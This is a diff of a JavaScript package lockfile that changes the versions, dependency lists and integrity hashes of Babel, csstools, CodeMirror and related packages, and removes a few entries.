- "@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="],
+ "@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-yoxstj7Rg9dlNn9UQxzk4fcNivwv4nUYz7fYXBaKxvw/lnmPuOm/ikoELygbYq68Bls3D/D+NBPHiLwZdZZ4HA=="],
- "@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="],
+ "@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-8BYqO3GeVNHtx69fdPshN3fnzUNLrWdHhk/icSwigksJGczKSizZ+Z6SBCxTs723Fr5VSNorTIK7a+R2tISvwQ=="],
- "@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="],
+ "@babel/preset-env": ["@babel/preset-env@7.26.9", "", { "dependencies": { "@babel/compat-data": "^7.26.8", "@babel/helper-compilation-targets": "^7.26.5", "@babel/helper-plugin-utils": "^7.26.5", "@babel/helper-validator-option": "^7.25.9", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.25.9", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.25.9", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.25.9", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.25.9", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.25.9", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.26.0", "@babel/plugin-syntax-import-attributes": "^7.26.0", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.25.9", "@babel/plugin-transform-async-generator-functions": "^7.26.8", "@babel/plugin-transform-async-to-generator": "^7.25.9", "@babel/plugin-transform-block-scoped-functions": "^7.26.5", "@babel/plugin-transform-block-scoping": "^7.25.9", "@babel/plugin-transform-class-properties": "^7.25.9", "@babel/plugin-transform-class-static-block": "^7.26.0", "@babel/plugin-transform-classes": "^7.25.9", "@babel/plugin-transform-computed-properties": "^7.25.9", "@babel/plugin-transform-destructuring": "^7.25.9", "@babel/plugin-transform-dotall-regex": "^7.25.9", "@babel/plugin-transform-duplicate-keys": "^7.25.9", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.25.9", "@babel/plugin-transform-dynamic-import": "^7.25.9", "@babel/plugin-transform-exponentiation-operator": "^7.26.3", "@babel/plugin-transform-export-namespace-from": "^7.25.9", "@babel/plugin-transform-for-of": "^7.26.9", "@babel/plugin-transform-function-name": "^7.25.9", "@babel/plugin-transform-json-strings": "^7.25.9", "@babel/plugin-transform-literals": "^7.25.9", "@babel/plugin-transform-logical-assignment-operators": "^7.25.9", "@babel/plugin-transform-member-expression-literals": "^7.25.9", "@babel/plugin-transform-modules-amd": "^7.25.9", "@babel/plugin-transform-modules-commonjs": "^7.26.3", "@babel/plugin-transform-modules-systemjs": "^7.25.9", "@babel/plugin-transform-modules-umd": "^7.25.9", "@babel/plugin-transform-named-capturing-groups-regex": "^7.25.9", "@babel/plugin-transform-new-target": "^7.25.9", "@babel/plugin-transform-nullish-coalescing-operator": "^7.26.6", "@babel/plugin-transform-numeric-separator": "^7.25.9", "@babel/plugin-transform-object-rest-spread": "^7.25.9", "@babel/plugin-transform-object-super": "^7.25.9", "@babel/plugin-transform-optional-catch-binding": "^7.25.9", "@babel/plugin-transform-optional-chaining": "^7.25.9", "@babel/plugin-transform-parameters": "^7.25.9", "@babel/plugin-transform-private-methods": "^7.25.9", "@babel/plugin-transform-private-property-in-object": "^7.25.9", "@babel/plugin-transform-property-literals": "^7.25.9", "@babel/plugin-transform-regenerator": "^7.25.9", "@babel/plugin-transform-regexp-modifiers": "^7.26.0", "@babel/plugin-transform-reserved-words": "^7.25.9", "@babel/plugin-transform-shorthand-properties": "^7.25.9", "@babel/plugin-transform-spread": "^7.25.9", "@babel/plugin-transform-sticky-regex": "^7.25.9", "@babel/plugin-transform-template-literals": "^7.26.8", "@babel/plugin-transform-typeof-symbol": "^7.26.7", "@babel/plugin-transform-unicode-escapes": "^7.25.9", "@babel/plugin-transform-unicode-property-regex": "^7.25.9", "@babel/plugin-transform-unicode-regex": "^7.25.9", "@babel/plugin-transform-unicode-sets-regex": "^7.25.9", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.10", "babel-plugin-polyfill-corejs3": "^0.11.0", "babel-plugin-polyfill-regenerator": "^0.6.1", "core-js-compat": "^3.40.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vX3qPGE8sEKEAZCWk05k3cpTAE3/nOYca++JA+Rd0z2NCNzabmYvEiSShKzm10zdquOIAVXsy2Ei/DTW34KlKQ=="],
"@babel/preset-modules": ["@babel/preset-modules@0.1.6-no-external-plugins", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.0.0", "@babel/types": "^7.4.4", "esutils": "^2.0.2" }, "peerDependencies": { "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0" } }, "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA=="],
- "@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="],
+ "@babel/preset-react": ["@babel/preset-react@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-option": "^7.22.15", "@babel/plugin-transform-react-display-name": "^7.23.3", "@babel/plugin-transform-react-jsx": "^7.22.15", "@babel/plugin-transform-react-jsx-development": "^7.22.5", "@babel/plugin-transform-react-pure-annotations": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tbkHOS9axH6Ysf2OUEqoSZ6T3Fa2SrNH6WTWSPBboxKzdxNc9qOICeLXkNG0ZEwbQ1HY8liwOce4aN/Ceyuq6w=="],
- "@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="],
+ "@babel/preset-typescript": ["@babel/preset-typescript@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-option": "^7.22.15", "@babel/plugin-syntax-jsx": "^7.23.3", "@babel/plugin-transform-modules-commonjs": "^7.23.3", "@babel/plugin-transform-typescript": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-17oIGVlqz6CchO9RFYn5U6ZpWRZIngayYCtrPRSgANSwC2V1Jb+iP74nVxzzXJte8b8BYxrL1yY96xfhTBrNNQ=="],
"@babel/runtime": ["@babel/runtime@7.26.10", "", { "dependencies": { "regenerator-runtime": "^0.14.0" } }, "sha512-2WJMeRQPHKSPemqk/awGrAiuFfzBmOIPXKizAsVhWH9YJqLZ0H+HS4c8loHGgW6utJ3E/ejXQUsiGaQy2NZ9Fw=="],
- "@babel/template": ["@babel/template@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ=="],
+ "@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
- "@babel/traverse": ["@babel/traverse@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/types": "^7.29.0", "debug": "^4.3.1" } }, "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA=="],
+ "@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
- "@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="],
+ "@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
"@bcoe/v8-coverage": ["@bcoe/v8-coverage@0.2.3", "", {}, "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw=="],
- "@borewit/text-codec": ["@borewit/text-codec@0.2.2", "", {}, "sha512-DDaRehssg1aNrH4+2hnj1B7vnUGEjU6OIlyRdkMd0aUdIUvKXrJfXsy8LVtXAy7DRvYVluWbMspsRhz2lcW0mQ=="],
-
- "@braintree/sanitize-url": ["@braintree/sanitize-url@7.1.2", "", {}, "sha512-jigsZK+sMF/cuiB7sERuo9V7N9jx+dhmHHnQyDSVdpZwVutaBu7WvNYqMDLSgFgfB30n452TP3vjDAvFC973mA=="],
-
"@cfworker/json-schema": ["@cfworker/json-schema@4.1.1", "", {}, "sha512-gAmrUZSGtKc3AiBL71iNWxDsyUC5uMaKKGdvzYsBoTW/xi42JQHl7eKV2OYzCUqvc+D2RCcf7EXY2iCyFIk6og=="],
- "@chevrotain/cst-dts-gen": ["@chevrotain/cst-dts-gen@11.1.2", "", { "dependencies": { "@chevrotain/gast": "11.1.2", "@chevrotain/types": "11.1.2", "lodash-es": "4.17.23" } }, "sha512-XTsjvDVB5nDZBQB8o0o/0ozNelQtn2KrUVteIHSlPd2VAV2utEb6JzyCJaJ8tGxACR4RiBNWy5uYUHX2eji88Q=="],
-
- "@chevrotain/gast": ["@chevrotain/gast@11.1.2", "", { "dependencies": { "@chevrotain/types": "11.1.2", "lodash-es": "4.17.23" } }, "sha512-Z9zfXR5jNZb1Hlsd/p+4XWeUFugrHirq36bKzPWDSIacV+GPSVXdk+ahVWZTwjhNwofAWg/sZg58fyucKSQx5g=="],
-
- "@chevrotain/regexp-to-ast": ["@chevrotain/regexp-to-ast@11.1.2", "", {}, "sha512-nMU3Uj8naWer7xpZTYJdxbAs6RIv/dxYzkYU8GSwgUtcAAlzjcPfX1w+RKRcYG8POlzMeayOQ/znfwxEGo5ulw=="],
-
- "@chevrotain/types": ["@chevrotain/types@11.1.2", "", {}, "sha512-U+HFai5+zmJCkK86QsaJtoITlboZHBqrVketcO2ROv865xfCMSFpELQoz1GkX5GzME8pTa+3kbKrZHQtI0gdbw=="],
-
- "@chevrotain/utils": ["@chevrotain/utils@11.1.2", "", {}, "sha512-4mudFAQ6H+MqBTfqLmU7G1ZwRzCLfJEooL/fsF6rCX5eePMbGhoy5n4g+G4vlh2muDcsCTJtL+uKbOzWxs5LHA=="],
-
"@codemirror/autocomplete": ["@codemirror/autocomplete@6.18.0", "", { "dependencies": { "@codemirror/language": "^6.0.0", "@codemirror/state": "^6.0.0", "@codemirror/view": "^6.17.0", "@lezer/common": "^1.0.0" }, "peerDependencies": { "@codemirror/language": "^6.0.0", "@codemirror/state": "^6.0.0", "@codemirror/view": "^6.0.0", "@lezer/common": "^1.0.0" } }, "sha512-5DbOvBbY4qW5l57cjDsmmpDh3/TeK1vXfTHa+BUMrRzdWdcxKZ4U4V7vQaTtOpApNU4kLS4FQ6cINtLg245LXA=="],
"@codemirror/commands": ["@codemirror/commands@6.6.0", "", { "dependencies": { "@codemirror/language": "^6.0.0", "@codemirror/state": "^6.4.0", "@codemirror/view": "^6.27.0", "@lezer/common": "^1.1.0" } }, "sha512-qnY+b7j1UNcTS31Eenuc/5YJB6gQOzkUoNmJQc0rznwqSRpeaWWpjkWy2C/MPTcePpsKJEM26hXrOXl1+nceXg=="],
@@ -965,177 +929,133 @@
"@cspotcode/source-map-support": ["@cspotcode/source-map-support@0.8.1", "", { "dependencies": { "@jridgewell/trace-mapping": "0.3.9" } }, "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw=="],
- "@csstools/cascade-layer-name-parser": ["@csstools/cascade-layer-name-parser@3.0.0", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-/3iksyevwRfSJx5yH0RkcrcYXwuhMQx3Juqf40t97PeEy2/Mz2TItZ/z/216qpe4GgOyFBP8MKIwVvytzHmfIQ=="],
+ "@csstools/cascade-layer-name-parser": ["@csstools/cascade-layer-name-parser@1.0.7", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-9J4aMRJ7A2WRjaRLvsMeWrL69FmEuijtiW1XlK/sG+V0UJiHVYUyvj9mY4WAXfU/hGIiGOgL8e0jJcRyaZTjDQ=="],
- "@csstools/color-helpers": ["@csstools/color-helpers@6.0.2", "", {}, "sha512-LMGQLS9EuADloEFkcTBR3BwV/CGHV7zyDxVRtVDTwdI2Ca4it0CCVTT9wCkxSgokjE5Ho41hEPgb8OEUwoXr6Q=="],
+ "@csstools/color-helpers": ["@csstools/color-helpers@2.1.0", "", {}, "sha512-OWkqBa7PDzZuJ3Ha7T5bxdSVfSCfTq6K1mbAhbO1MD+GSULGjrp45i5RudyJOedstSarN/3mdwu9upJE7gDXfw=="],
- "@csstools/css-calc": ["@csstools/css-calc@3.1.1", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-HJ26Z/vmsZQqs/o3a6bgKslXGFAungXGbinULZO3eMsOyNJHeBBZfup5FiZInOghgoM4Hwnmw+OgbJCNg1wwUQ=="],
+ "@csstools/css-calc": ["@csstools/css-calc@1.1.6", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-YHPAuFg5iA4qZGzMzvrQwzkvJpesXXyIUyaONflQrjtHB+BcFFbgltJkIkb31dMGO4SE9iZFA4HYpdk7+hnYew=="],
- "@csstools/css-color-parser": ["@csstools/css-color-parser@4.0.2", "", { "dependencies": { "@csstools/color-helpers": "^6.0.2", "@csstools/css-calc": "^3.1.1" }, "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-0GEfbBLmTFf0dJlpsNU7zwxRIH0/BGEMuXLTCvFYxuL1tNhqzTbtnFICyJLTNK4a+RechKP75e7w42ClXSnJQw=="],
+ "@csstools/css-color-parser": ["@csstools/css-color-parser@1.5.1", "", { "dependencies": { "@csstools/color-helpers": "^4.0.0", "@csstools/css-calc": "^1.1.6" }, "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-x+SajGB2paGrTjPOUorGi8iCztF008YMKXTn+XzGVDBEIVJ/W1121pPerpneJYGOe1m6zWLPLnzOPaznmQxKFw=="],
- "@csstools/css-parser-algorithms": ["@csstools/css-parser-algorithms@4.0.0", "", { "peerDependencies": { "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5rbhkKe4w=="],
+ "@csstools/css-parser-algorithms": ["@csstools/css-parser-algorithms@2.5.0", "", { "peerDependencies": { "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-abypo6m9re3clXA00eu5syw+oaPHbJTPapu9C4pzNsJ4hdZDzushT50Zhu+iIYXgEe1CxnRMn7ngsbV+MLrlpQ=="],
- "@csstools/css-tokenizer": ["@csstools/css-tokenizer@4.0.0", "", {}, "sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA=="],
+ "@csstools/css-tokenizer": ["@csstools/css-tokenizer@2.2.3", "", {}, "sha512-pp//EvZ9dUmGuGtG1p+n17gTHEOqu9jO+FiCUjNN3BDmyhdA2Jq9QsVeR7K8/2QCK17HSsioPlTW9ZkzoWb3Lg=="],
- "@csstools/media-query-list-parser": ["@csstools/media-query-list-parser@5.0.0", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" } }, "sha512-T9lXmZOfnam3eMERPsszjY5NK0jX8RmThmmm99FZ8b7z8yMaFZWKwLWGZuTwdO3ddRY5fy13GmmEYZXB4I98Eg=="],
+ "@csstools/media-query-list-parser": ["@csstools/media-query-list-parser@2.1.7", "", { "peerDependencies": { "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3" } }, "sha512-lHPKJDkPUECsyAvD60joYfDmp8UERYxHGkFfyLJFTVK/ERJe0sVlIFLXU5XFxdjNDTerp5L4KeaKG+Z5S94qxQ=="],
- "@csstools/postcss-alpha-function": ["@csstools/postcss-alpha-function@2.0.3", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-8GqzD3JnfpKJSVxPIC0KadyAfB5VRzPZdv7XQ4zvK1q0ku+uHVUAS2N/IDavQkW40gkuUci64O0ea6QB/zgCSw=="],
+ "@csstools/postcss-cascade-layers": ["@csstools/postcss-cascade-layers@3.0.1", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.2", "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-dD8W98dOYNOH/yX4V4HXOhfCOnvVAg8TtsL+qCGNoKXuq5z2C/d026wGWgySgC8cajXXo/wNezS31Glj5GcqrA=="],
- "@csstools/postcss-cascade-layers": ["@csstools/postcss-cascade-layers@6.0.0", "", { "dependencies": { "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-WhsECqmrEZQGqaPlBA7JkmF/CJ2/+wetL4fkL9sOPccKd32PQ1qToFM6gqSI5rkpmYqubvbxjEJhyMTHYK0vZQ=="],
+ "@csstools/postcss-color-function": ["@csstools/postcss-color-function@2.2.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-b1ptNkr1UWP96EEHqKBWWaV5m/0hgYGctgA/RVZhONeP1L3T/8hwoqDm9bB23yVCfOgE9U93KI9j06+pEkJTvw=="],
- "@csstools/postcss-color-function": ["@csstools/postcss-color-function@5.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-CjBdFemUFcAh3087MEJhZcO+QT1b8S75agysa1rU9TEC1YecznzwV+jpMxUc0JRBEV4ET2PjLssqmndR9IygeA=="],
+ "@csstools/postcss-color-mix-function": ["@csstools/postcss-color-mix-function@1.0.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-QGXjGugTluqFZWzVf+S3wCiRiI0ukXlYqCi7OnpDotP/zaVTyl/aqZujLFzTOXy24BoWnu89frGMc79ohY5eog=="],
- "@csstools/postcss-color-function-display-p3-linear": ["@csstools/postcss-color-function-display-p3-linear@2.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-TWUwSe1+2KdYGGWTx5LR4JQN07vKHAeSho+bGYRgow+9cs3dqgOqS1f/a1odiX30ESmZvwIudJ86wzeiDR6UGg=="],
+ "@csstools/postcss-font-format-keywords": ["@csstools/postcss-font-format-keywords@2.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-iKYZlIs6JsNT7NKyRjyIyezTCHLh4L4BBB3F5Nx7Dc4Z/QmBgX+YJFuUSar8IM6KclGiAUFGomXFdYxAwJydlA=="],
- "@csstools/postcss-color-mix-function": ["@csstools/postcss-color-mix-function@4.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-PFKQKswFqZrYKpajZsP4lhqjU/6+J5PTOWq1rKiFnniKsf4LgpGXrgHS/C6nn5Rc51LX0n4dWOWqY5ZN2i5IjA=="],
+ "@csstools/postcss-gradients-interpolation-method": ["@csstools/postcss-gradients-interpolation-method@3.0.6", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-rBOBTat/YMmB0G8VHwKqDEx+RZ4KCU9j42K8LwS0IpZnyThalZZF7BCSsZ6TFlZhcRZKlZy3LLFI2pLqjNVGGA=="],
